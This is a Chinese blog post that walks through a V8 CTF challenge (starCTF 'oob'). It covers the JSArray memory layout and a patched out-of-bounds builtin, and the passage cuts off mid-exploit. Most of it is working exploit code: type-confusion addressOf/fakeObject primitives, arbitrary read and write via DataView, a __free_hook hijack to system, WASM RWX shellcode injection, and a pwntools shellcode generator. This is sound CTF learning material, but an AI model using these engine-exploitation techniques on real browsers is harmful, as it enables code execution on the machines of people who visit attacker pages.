v8初体验
196082 慢慢好起来

前言

这段事情因为各种事情耽搁,一直没有更新文章。本打算新的一篇出rootkit来水一篇,后面发现a3佬写的太多了,不想继续看了。然后前阵子一直在思考后续到底是学什么方向,在docker逃逸、chrome内核、iot还有fuzz之间犹豫不决,现在也算是下定决心来学学chrome了,只希望能够快点搞完,后面还是打算更多的去学习docker逃逸。

这里就不提环境安装的事情了,网上有很多相关资料。

基础知识

js作为一个面向对象编程的语言,他的变量都是以类的形式表现的。并且js作为动态语言,他的类成员是可以改变的,这也就导致他在内存中的存在形式相交与C语言要复杂的多。

使用如下程序进行调试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var int_arr = [1, 2, 3];
var float_arr = [1.1, 1.2, 1.3];
var obj = {"a" : 1};
var object_arr = [obj, obj, obj];
var newed_arr = new Array(3);

%DebugPrint(int_arr);
%SystemBreak();

%DebugPrint(float_arr);
%SystemBreak();

%DebugPrint(object_arr);
%SystemBreak();

%DebugPrint(newed_arr);
%SystemBreak();

上面的%DebugPrint(int_arr)的作用是打印出int_arr的内存信息,也就是打印出内存地址。后面的%SystemBreak()函数则是将控制权交给gdb。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
0x011117f8df01 <JSArray[3]>
... ...
pwndbg> job 0x011117f8df01
0x11117f8df01: [JSArray]
- map: 0x07bd46242d99 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x00eff64d1111 <JSArray[0]>
- elements: 0x011117f8de19 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
- length: 3
- properties: 0x020b620c0c71 <FixedArray[0]> {
#length: 0x3156b97801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x011117f8de19 <FixedArray[3]> {
0: 1
1: 2
2: 3
}

pwndbg> telescope 0x011117f8df01-1
00:0000│ 0x11117f8df00 —▸ 0x7bd46242d99 ◂— 0x40000020b620c01
01:0008│ 0x11117f8df08 —▸ 0x20b620c0c71 ◂— 0x20b620c08
02:0010│ 0x11117f8df10 —▸ 0x11117f8de19 ◂— 0x20b620c08
03:0018│ 0x11117f8df18 ◂— 0x300000000
04:0020│ 0x11117f8df20 —▸ 0x20b620c14f9 ◂— 0x20b620c01
05:0028│ 0x11117f8df28 ◂— 0x300000000
06:0030│ 0x11117f8df30 ◂— 0x3ff199999999999a
07:0038│ 0x11117f8df38 ◂— 0x3ff3333333333333

pwndbg> telescope 0x011117f8de19-1
00:0000│ 0x11117f8de18 —▸ 0x20b620c0851 ◂— 0x20b620c01
01:0008│ 0x11117f8de20 ◂— 0x300000000
02:0010│ 0x11117f8de28 ◂— 0x100000000
03:0018│ 0x11117f8de30 ◂— 0x200000000
04:0020│ 0x11117f8de38 ◂— 0x300000000
05:0028│ 0x11117f8de40 —▸ 0x20b620c0801 ◂— 0x20b620c01
06:0030│ 0x11117f8de48 ◂— 0x300000000
07:0038│ 0x11117f8de50 —▸ 0xeff64df451 ◂— 0x9a0000020b620c05

从上面可以看到,这里打印出来的是一个int类型的数组,在使用job命令可以清晰的看到这块内存的数据结构。首先是一个指向map的指针,随后在job显示的和telescope出来的内容有一定出入,这里我选择相信telescope,所以第二个成员应该是properties,随后就是elements指针,最后就是length。可以看出来elements指针就是真正指向数据的指针,并且在后面紧跟了elements内存区域的结构。

starCTF oob

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}

BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();

// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:

整个题目就只有这样一个diff文件,这里主要需要注意的是中间那一块+号区域,在周围只是为了能够正常进行编译才添加的。

可以看到添加的这个函数在一开始就对参数的数量进行了判断,如果参数数量大于2则返回undefined,随后接受第一个到receiver中,进一步得到JSArray结构的变量array,紧接着通过array变量取出对应的elements,并且在最后拿到了数组的长度。

然后函数又进行判断,如果参数的数量为1则返回数组末尾的后一个地址的值,也就出现了越界读取的漏洞。

如果参数的数量为2则获取第二个参数到value中,然后写到数组末尾的后一个地址,也就出现了越界写的漏洞。

需要注意的是,这里函数参数的第一个参数默认为this,所以 test_arr.oob() 的含义为一个参数

小总结

其实通过前面的基础知识章节和这里的漏洞分析之后可以很容易的看出来,在操作数组中的内容时都是这样一层一层找下去的。

而在js中对于数组中不是只能存放整型的变量,还可以存放各种类型的对象,而如何区分数组中变量类型就需要用到JSArray中的map成员进行区分。所以如果我们可以修改map成员即可实现类型混淆。

利用分析

虽然是找到了漏洞点,并且也知道了存在类型混淆的可能性,但根据目前的情况仍无法继续操作。因为可以看到前面我们在看elements结构中并没有看到map,也就无利用之谈了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
pwndbg> job 0x011117f8df49
0x11117f8df49: [JSArray]
- map: 0x07bd46242ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x00eff64d1111 <JSArray[0]>
- elements: 0x011117f8df21 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x020b620c0c71 <FixedArray[0]> {
#length: 0x3156b97801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x011117f8df21 <FixedDoubleArray[3]> {
0: 1.1
1: 1.2
2: 1.3
}

pwndbg> telescope 0x011117f8df49-1
00:0000│ 0x11117f8df48 —▸ 0x7bd46242ed9 ◂— 0x40000020b620c01
01:0008│ 0x11117f8df50 —▸ 0x20b620c0c71 ◂— 0x20b620c08
02:0010│ 0x11117f8df58 —▸ 0x11117f8df21 ◂— 0x20b620c14
03:0018│ 0x11117f8df60 ◂— 0x300000000
04:0020│ 0x11117f8df68 —▸ 0x7bd4624ab39 ◂— 0x40000020b620c01
05:0028│ 0x11117f8df70 —▸ 0x20b620c0c71 ◂— 0x20b620c08
06:0030│ 0x11117f8df78 —▸ 0x20b620c0c71 ◂— 0x20b620c08
07:0038│ 0x11117f8df80 ◂— 0x100000000

pwndbg> telescope 0x011117f8df21-1
00:0000│ 0x11117f8df20 —▸ 0x20b620c14f9 ◂— 0x20b620c01
01:0008│ 0x11117f8df28 ◂— 0x300000000
02:0010│ 0x11117f8df30 ◂— 0x3ff199999999999a
03:0018│ 0x11117f8df38 ◂— 0x3ff3333333333333
04:0020│ 0x11117f8df40 ◂— 0x3ff4cccccccccccd
05:0028│ 0x11117f8df48 —▸ 0x7bd46242ed9 ◂— 0x40000020b620c01
06:0030│ 0x11117f8df50 —▸ 0x20b620c0c71 ◂— 0x20b620c08
07:0038│ 0x11117f8df58 —▸ 0x11117f8df21 ◂— 0x20b620c14

但是在后续看浮点数中可以看到map的地址紧邻者elements的数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pwndbg> job 0x011117f8dfe1
0x11117f8dfe1: [JSArray]
- map: 0x07bd46242f79 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x00eff64d1111 <JSArray[0]>
- elements: 0x011117f8dfb9 <FixedArray[3]> [PACKED_ELEMENTS]
- length: 3
- properties: 0x020b620c0c71 <FixedArray[0]> {
#length: 0x3156b97801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x011117f8dfb9 <FixedArray[3]> {
0-2: 0x011117f8df69 <Object map = 0x7bd4624ab39>
}

pwndbg> telescope 0x011117f8dfe1-1 20
00:0000│ 0x11117f8dfe0 —▸ 0x7bd46242f79 ◂— 0x40000020b620c01
01:0008│ 0x11117f8dfe8 —▸ 0x20b620c0c71 ◂— 0x20b620c08
02:0010│ 0x11117f8dff0 —▸ 0x11117f8dfb9 ◂— 0x20b620c08
03:0018│ 0x11117f8dff8 ◂— 0x300000000
04:0020│ 0x11117f8e000 —▸ 0x7bd46242e89 ◂— 0x40000020b620c01
05:0028│ 0x11117f8e008 —▸ 0x20b620c0c71 ◂— 0x20b620c08
06:0030│ 0x11117f8e010 —▸ 0x11117f8e031 ◂— 0x20b620c08
07:0038│ 0x11117f8e018 ◂— 0x300000000

pwndbg> telescope 0x011117f8dfb9-1
00:0000│ 0x11117f8dfb8 —▸ 0x20b620c0801 ◂— 0x20b620c01
01:0008│ 0x11117f8dfc0 ◂— 0x300000000
02:0010│ 0x11117f8dfc8 —▸ 0x11117f8df69 ◂— 0x71000007bd4624ab
... ↓ 2 skipped
05:0028│ 0x11117f8dfe0 —▸ 0x7bd46242f79 ◂— 0x40000020b620c01
06:0030│ 0x11117f8dfe8 —▸ 0x20b620c0c71 ◂— 0x20b620c08
07:0038│ 0x11117f8dff0 —▸ 0x11117f8dfb9 ◂— 0x20b620c08

同样的,我们在数组中全是对象的时候也可以看到map的地址紧邻着这些数据。

注意那个地址的最后,它的值看起来不是对齐的。这是因为v8里有个tagged pointer机制,一个地址指向的如果不是SMI(就是小整数),它的最低位就会打上一个标记,就会有个1,看起来就不是对齐的,用的时候要减1。

接着需要思考的事,一个越界读写能给我造成什么样的效果呢?

1. 泄漏map地址

这里泄漏map地址就很简单,在数组中的成员为对象和浮点型的时候直接调用oob函数即可获取到。

1
2
3
4
5
6
var obj = { "a": 1 };
var obj_array = [obj];
var flt_array = [1.1];

var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();

2. 类型混淆获取任意对象地址

1
2
3
4
5
6
7
function addressOf(leak_obj) {
obj_array[0] = leak_obj;
obj_array.oob(flt_array_map);
var res = obj_array[0];
obj_array.oob(obj_array_map);
return f2i(res);
}

这里的实现原理也是非常简单,首先就是将需要获取地址的对象放到obj_array中,随后使用oob函数将flt_array_map的地址写进去,这时再去访问obj_array中的成员时就会以float的形式返回出对应的地址了,最后在恢复类型即可。

3. 讲任意地址当作对象

1
2
3
4
5
6
7
function fake_object(address) {
flt_array[0] = i2f(address);
flt_array.oob(obj_array_map);
var fake_obj = flt_array[0];
flt_array.oob(flt_array_map);
return fake_obj;
}

其实道理和上一步类似。

4. 实现任意地址读取

1
2
3
4
5
6
7
var arb_rw_arr = [flt_array_map, 1.2, 1.3, 1.4];
var fake_obj = fake_object(address_of(arb_rw_arr) - 0x20n);

function arbitrary_read(address) {
arb_rw_arr[2] = i2f(address - 0x10n + 0x1n)
return f2i(fake_obj[0]);
}

首先这里是吧arb_rw_arr这个数组的elements区域当作的是一个JSArray结构体,而这个结构对应的指针为fake_obj

这里主要解释一下第二行代码调用函数的部分,这里首先是拿到arb_rw_arr对象的地址,随后减去0x20则是因为JSArrayelements相距固定偏移为0x30,这里减去0x20的话代表将elements + 0x10当做了fake JSArray,根据前面的调试得知在elements + 0x10的位置开始为数组中数据的部分,所以我们现在是可以实现任意修改fake_objJSArray部分。

然后就是这里返回的fake_obj对象,这个对象实质指向的是就是arb_rw_arrelements + 0x10的位置。

又因为可以任意修改这一部分的内容,所以我们可以修改elements指针,使其指向任意地址配合fake_obj对象即可达到任意地址读取的效果。

5. 实现任意地址写

1
2
3
4
5
6
7
8
9
var buffer = new ArrayBuffer(16);
var data_view = new DataView(buffer);
var buf_backing_store_addr = address_of(buffer) - 1n + 0x20n;

function arbitrary_write(address, value) {
arb_rw_arr[2] = i2f(buf_backing_store_addr - 0x10n + 0x1n);
fake_obj[0] = address;
data_view.setFloat64(value);
}

任意地址写的写法在一开始的想法肯定是和任意地址读一致。不过按照上面那样写会出现一个段错误,这是简单的write FloatArray对浮点数的处理方式造成的,当值以 0x7f 开头等高处的地址都会出现这种问题。为了避免选择使用DataView来处理。

DataView对象偏移+0x20处,存有一个backing_store指针,该指针指向真正存储数据的地址,改写这个指针即可任意读写。

最终利用: 传统方式

传统的方式是对__free_hook进行劫持。但是它在libc中,所以首先还是需要考虑泄漏出程序基地址,然后通过got表泄漏出libc地址。

不过目前遇到的是如何泄漏出程序基地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> job 0x0fcdcb2c2d99
0xfcdcb2c2d99: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: PACKED_SMI_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x046dfe5804d1 <undefined>
- prototype_validity cell: 0x1bc536f80609 <Cell value= 1>
- instance descriptors (own) #1: 0x08ad62ed1f49 <DescriptorArray[1]>
- layout descriptor: (nil)
- transitions #1: 0x08ad62ed1e59 <TransitionArray[4]>Transition array #1:
0x046dfe584ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x0fcdcb2c2e89 <Map(HOLEY_SMI_ELEMENTS)>

- prototype: 0x08ad62ed1111 <JSArray[0]>
- constructor: 0x08ad62ed0ec1 <JSFunction Array (sfi = 0x1bc536f86791)>
- dependent code: 0x046dfe5802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

这里随便查看一个JSArray内部的map,可以看到其中包含这constructor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> job 0x08ad62ed0ec1
0x8ad62ed0ec1: [Function] in OldSpace
- map: 0x0fcdcb2c2d49 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x08ad62ec2109 <JSFunction (sfi = 0x1bc536f83b29)>
- elements: 0x046dfe580c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: 0x08ad62ed1111 <JSArray[0]>
- initial_map: 0x0fcdcb2c2d99 <Map(PACKED_SMI_ELEMENTS)>
- shared_info: 0x1bc536f86791 <SharedFunctionInfo Array>
- name: 0x046dfe583599 <String[#5]: Array>
- builtin: ArrayConstructor
- formal_parameter_count: 65535
- kind: NormalFunction
- context: 0x08ad62ec1869 <NativeContext[246]>
- code: 0x3eadb8bc6981 <Code BUILTIN ArrayConstructor>
- properties: 0x08ad62ed1029 <PropertyArray[6]> {
#length: 0x1bc536f804b9 <AccessorInfo> (const accessor descriptor)
#name: 0x1bc536f80449 <AccessorInfo> (const accessor descriptor)
#prototype: 0x1bc536f80529 <AccessorInfo> (const accessor descriptor)
0x046dfe584c79 <Symbol: (native_context_index_symbol)>: 11 (const data field 0) properties[0]
0x046dfe584f41 <Symbol: Symbol.species>: 0x08ad62ed0fd9 <AccessorPair> (const accessor descriptor)
#isArray: 0x08ad62ed1069 <JSFunction isArray (sfi = 0x1bc536f86829)> (const data field 1) properties[1]
#from: 0x08ad62ed10a1 <JSFunction from (sfi = 0x1bc536f86879)> (const data field 2) properties[2]
#of: 0x08ad62ed10d9 <JSFunction of (sfi = 0x1bc536f868b1)> (const data field 3) properties[3]
}

继续跟进constructor可以看到有一个成员为code

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20xg 0x3eadb8bc6981-1
0x3eadb8bc6980: 0x0000046dfe580a31 0x0000046dfe582c01
0x3eadb8bc6990: 0x0000046dfe580c71 0x0000046dfe582791
0x3eadb8bc69a0: 0x00001bc536f916a9 0x800001c60000000d
0x3eadb8bc69b0: 0x000000240000001c 0x000000a600000024
0x3eadb8bc69c0: 0x55a5afef9780ba49 0x000000e2ff410000
0x3eadb8bc69d0: 0x0000000000000000 0x0000000000000000
0x3eadb8bc69e0: 0x0000046dfe580a31 0x0000046dfe582c01
0x3eadb8bc69f0: 0x0000046dfe580c71 0x0000046dfe582791
0x3eadb8bc6a00: 0x00001bc536f916c1 0x800001c60000000d
0x3eadb8bc6a10: 0x0000019f00000188 0x000000a70000019f

在内部可以看到在距离开始位置为0x40的位置就能看到心心念念的程序基地址,所以直接通过这里泄漏即可。

泄漏完基地址就很好办,后续就是通过got表泄漏libc地址,然后劫持__free_hook即可为system,然后创建一个函数中申请变量为想要执行的命令。

我这里没看过源码,不过我猜测是因为js是动态变量的缘故,js的变量都是以堆的形式存在的,并且在函数执行结束后会释放掉内存。

最终利用: 非传统方式

这种方法则是往程序中写shellcode,但是程序自身并没有rwx的段。不过存在这样一种技术wasm,使用 这个网站 可以生成一段wasm码,可以用生成一个函数对象:

1
2
3
4
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

image-20230627191416891

1
2
3
4
5
6
7
8
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

console.log(f());
% DebugPrint(f);
% SystemBreak();

image-20230627191458616

当我们运行可以看到确实是返回了42。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> job 0x365390d5faf9
0x365390d5faf9: [Function] in OldSpace
- map: 0x309e6c9c4379 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x365390d42109 <JSFunction (sfi = 0x2a087603b29)>
- elements: 0x2754f1600c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
- shared_info: 0x365390d5fac1 <SharedFunctionInfo 0>
- name: 0x2754f1604ae1 <String[#1]: 0>
- formal_parameter_count: 0
- kind: NormalFunction
- context: 0x365390d41869 <NativeContext[246]>
- code: 0x18b055a42001 <Code JS_TO_WASM_FUNCTION>
- WASM instance 0x365390d5f901
- WASM function index 0
- properties: 0x2754f1600c71 <FixedArray[0]> {
#length: 0x02a0876004b9 <AccessorInfo> (const accessor descriptor)
#name: 0x02a087600449 <AccessorInfo> (const accessor descriptor)
#arguments: 0x02a087600369 <AccessorInfo> (const accessor descriptor)
#caller: 0x02a0876003d9 <AccessorInfo> (const accessor descriptor)
}

查看一下这个 f ,可以看到他的类型为JSFunction,继续跟进其中的share_info

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> job 0x365390d5fac1
0x365390d5fac1: [SharedFunctionInfo] in OldSpace
- map: 0x2754f16009e1 <Map[56]>
- name: 0x2754f1604ae1 <String[#1]: 0>
- kind: NormalFunction
- function_map_index: 144
- formal_parameter_count: 0
- expected_nof_properties: 0
- language_mode: sloppy
- data: 0x365390d5fa99 <WasmExportedFunctionData>
- code (from data): 0x18b055a42001 <Code JS_TO_WASM_FUNCTION>
- function token position: -1
- start position: -1
- end position: -1
- no debug info
- scope info: 0x2754f1600c61 <ScopeInfo[0]>
- length: 0
- feedback_metadata: 0x2754f1602a39: [FeedbackMetadata]
- map: 0x2754f1601319 <Map>
- slot_count: 0

继续跟进data。

1
2
3
4
5
6
pwndbg> job 0x365390d5fa99
0x365390d5fa99: [WasmExportedFunctionData] in OldSpace
- map: 0x2754f1605879 <Map[40]>
- wrapper_code: 0x18b055a42001 <Code JS_TO_WASM_FUNCTION>
- instance: 0x365390d5f901 <Instance map = 0x309e6c9c9789>
- function_index: 0

进一步查看instance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> telescope 0x365390d5f901-1 20
00:0000│ 0x365390d5f900 —▸ 0x309e6c9c9789 ◂— 0x2500002754f16001
01:0008│ 0x365390d5f908 —▸ 0x2754f1600c71 ◂— 0x2754f16008
02:0010│ 0x365390d5f910 —▸ 0x2754f1600c71 ◂— 0x2754f16008
03:0018│ 0x365390d5f918 —▸ 0x7fc28d7f0000 ◂— 0x0
04:0020│ 0x365390d5f920 ◂— 0x10000
05:0028│ 0x365390d5f928 ◂— 0xffff
06:0030│ 0x365390d5f930 —▸ 0x55ec1cb0d818 —▸ 0x7ffd93629d90 ◂— 0x7ffd93629d90
07:0038│ 0x365390d5f938 —▸ 0x2754f1600c71 ◂— 0x2754f16008
08:0040│ 0x365390d5f940 —▸ 0x55ec1cb931e0 ◂— 0x0
09:0048│ 0x365390d5f948 —▸ 0x2754f16004d1 ◂— 0x2754f16005
0a:0050│ 0x365390d5f950 ◂— 0x0
... ↓ 3 skipped
0e:0070│ 0x365390d5f970 —▸ 0x55ec1cb93200 ◂— 0x0
0f:0078│ 0x365390d5f978 —▸ 0x2754f16004d1 ◂— 0x2754f16005
10:0080│ 0x365390d5f980 —▸ 0x55ec1cb03b50 —▸ 0x2754f1600751 ◂— 0xce00002754f16007
11:0088│ 0x365390d5f988 —▸ 0x2ed8b8773000 ◂— movabs r10, 0x2ed8b8773260 /* 0x2ed8b8773260ba49 */
12:0090│ 0x365390d5f990 —▸ 0x9e8bdb4e4a1 ◂— 0x710000309e6c9c91
13:0098│ 0x365390d5f998 —▸ 0x9e8bdb4e711 ◂— 0x710000309e6c9cad
pwndbg> vmmap 0x2ed8b8773000
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x2ed8b8773000 0x2ed8b8774000 rwxp 1000 0 [anon_2ed8b8773] +0x0

可以看到在偏移为0x88处有rwx的段了。最后直接写入shellcode即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python
# coding=utf-8
# https://www.xi4oyu.top/
from pwn import *


def just8(data):
size = len(data)
real_size = size if size % 8 == 0 else size + (8 - size % 8)
return data.ljust(real_size, b'\x00')


def to_js(data):
ret = 'var sc_arr = ['
for i in range(0, len(data), 8):
if (i // 8) % 4 == 0:
ret += '\n'
x = u64(data[i:i+8])
ret += '\t' + hex(x) + 'n,'
ret += '\n]\n'
return ret


def call_exec(path, argv, envp):
sc = ''
sc += shellcraft.pushstr(path)
sc += shellcraft.mov('rdi', 'rsp')
sc += shellcraft.pushstr_array('rsi', argv)
sc += shellcraft.pushstr_array('rdx', envp)
sc += shellcraft.syscall('SYS_execve')

return sc


context.os = 'linux'
context.arch = 'amd64'

sc = ''
sc = call_exec('/usr/bin/xcalc', ['xcalc'], ['DISPLAY=:0'])

print(sc)
data = asm(sc)
data = just8(data)

print(to_js(data))

上面这是我抄的用于生成js的shellcode的python脚本,在开头留有原作者链接。

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
var buf = new ArrayBuffer(8);
var float64 = new Float64Array(buf);
var uint64 = new BigUint64Array(buf);

// @param {float64} float_num
// @return {uint64}
function f2i(float_num) {
float64[0] = float_num;
return uint64[0];
}

// @param {uint64} uint64_num
// @return {float64}
function i2f(uint64_num) {
uint64[0] = uint64_num;
return float64[0];
}

var obj = { "a": 1 };
var obj_array = [obj];
var flt_array = [1.1];

var obj_array_map = obj_array.oob();
var flt_array_map = flt_array.oob();

function address_of(leak_obj) {
obj_array[0] = leak_obj;
obj_array.oob(flt_array_map);
var res = obj_array[0];
obj_array.oob(obj_array_map);
return f2i(res);
}

function fake_object(address) {
flt_array[0] = i2f(address);
flt_array.oob(obj_array_map);
var fake_obj = flt_array[0];
flt_array.oob(flt_array_map);
return fake_obj;
}

var arb_rw_arr = [flt_array_map, 1.2, 1.3, 1.4];
console.log("arb_rw_arr => 0x", (address_of(arb_rw_arr) - 0x20n).toString(16).trim());
var fake_obj = fake_object(address_of(arb_rw_arr) - 0x20n);

function arbitrary_read(address) {
arb_rw_arr[2] = i2f(address - 0x10n + 0x1n)
return f2i(fake_obj[0]);
}

var buffer = new ArrayBuffer(16);
var data_view = new DataView(buffer);
var buf_backing_store_addr = address_of(buffer) - 1n + 0x20n;

function arbitrary_write(address, value) {
arb_rw_arr[2] = i2f(buf_backing_store_addr - 0x10n + 0x1n);
fake_obj[0] = i2f(address);
data_view.setFloat64(0, i2f(value), true);
}

var a = [1.1];
var code_addr = arbitrary_read(address_of(a.constructor) + 0x30n - 1n) - 1n;
console.log('code_addr => 0x' + code_addr.toString(16).trim());
var v8_addr = arbitrary_read(code_addr + 0x42n);
var v8_base = v8_addr - 0xfc8780n;
console.log('v8_base => 0x' + v8_base.toString(16).trim());
var free_got_addr = v8_base + 0x12aa8b8n;
var free_addr = arbitrary_read(free_got_addr);
var libc_base = free_addr - 0x9a6d0n;
console.log('libc_base => 0x' + v8_base.toString(16).trim());

var __free_hook = libc_base + 0x1eee48n;
var system_addr = libc_base + 0x52290n;

arbitrary_write(__free_hook, system_addr);
%SystemBreak();
function pwn() {
let cmd = "gnome-calculator\x00";
}
pwn()

arbitrary_write(__free_hook, 0);

image-20230627183627029

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
var buf = new ArrayBuffer(8);
var float64 = new Float64Array(buf);
var uint64 = new BigUint64Array(buf);

// @param {float64} float_num
// @return {uint64}
function f2i(float_num) {
float64[0] = float_num;
return uint64[0];
}

// @param {uint64} uint64_num
// @return {float64}
function i2f(uint64_num) {
uint64[0] = uint64_num;
return float64[0];
}

var obj = { "a": 1 };
var obj_array = [obj];
var flt_array = [1.1];

var obj_array_map = obj_array.oob();
var flt_array_map = flt_array.oob();

function address_of(leak_obj) {
obj_array[0] = leak_obj;
obj_array.oob(flt_array_map);
var res = obj_array[0];
obj_array.oob(obj_array_map);
return f2i(res);
}

function fake_object(address) {
flt_array[0] = i2f(address);
flt_array.oob(obj_array_map);
var fake_obj = flt_array[0];
flt_array.oob(flt_array_map);
return fake_obj;
}

var arb_rw_arr = [flt_array_map, 1.2, 1.3, 1.4];
console.log("arb_rw_arr => 0x" + (address_of(arb_rw_arr) - 0x20n).toString(16).trim());
var fake_obj = fake_object(address_of(arb_rw_arr) - 0x20n);

function arbitrary_read(address) {
